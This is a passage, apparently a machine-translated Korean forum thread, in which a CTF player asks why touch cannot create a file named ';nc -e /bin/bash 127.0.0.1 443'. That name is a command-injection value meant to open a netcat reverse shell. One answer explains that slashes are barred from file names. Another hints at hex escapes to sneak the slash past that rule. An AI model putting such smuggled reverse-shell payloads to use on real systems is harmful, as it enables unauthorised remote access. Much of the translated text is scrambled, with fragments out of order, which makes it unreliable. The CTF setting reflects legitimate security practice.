CTF로 플레이 중이고 touch 명령을 사용하여 이름이 지정된 파일을 생성하고 싶지만 ;nc -e /bin/bash 127.0.0.1 443
실패합니다.
문제 없이 라는 파일을 만들고 다음 ;nc -e 127.0.0.1 443
과 같은 내용을 작성할 수 있습니다.touch -- \;nc\ \-e\ 127\.0\.0\.1\ \4\4\3
/bin/bash
touch -- \;nc\ \-e\ \/\b\i\n\/\b\a\s\h\ 127\.0\.0\.1\ \4\4\3
touch: cannot touch ';nc -e /bin/bash 127.0.0.1 443': No such file or directory
내가 뭘 잘못했나요?
답변1
Unix의 파일 이름은 /
경로 구분 기호이므로 이 문자를 포함할 수 없습니다.
경로명
;nc -e /bin/bash 127.0.0.1 443
bash 127.0.0.1 443
bin
의 하위 디렉터리인 디렉터리에서 호출된 파일을 참조합니다 ;nc -e
(끝에 공백 있음).
이 /
문자는 Unix 파일 이름에 허용되지 않는 두 문자 중 하나입니다. 다른 하나는 널 문자(ASCII 0 또는 \0
)입니다. nul 문자는 문자열 종결자이므로 파일 이름에 허용되지 않습니다.
또한 필수 기호를 이스케이프 처리하는 것보다 복잡한 파일 이름을 작은따옴표로 묶는 것이 더 쉽다는 점에 유의하세요.
touch ';nc -e 127.0.0.1 443'
답변2
;nc -e /bin/bash 127.0.0.1 443
touch 명령을 사용하여 다음과 같은 파일을 만들고 싶습니다 .
파일 이름이 eval
다른 스크립트의 일부입니까?
$'...'
이 경우 참고 자료나 printf
유용한 양식을 찾아야 할 수도 있습니다 .
$ echo $'\x2fbin\x2fbash'
/bin/bash
$ printf "\x2fbin\x2fbash"
/bin/bash
이제 파일 이름에 이를 사용하는 방법을 알아보기 위한 연습으로 남겨두겠습니다.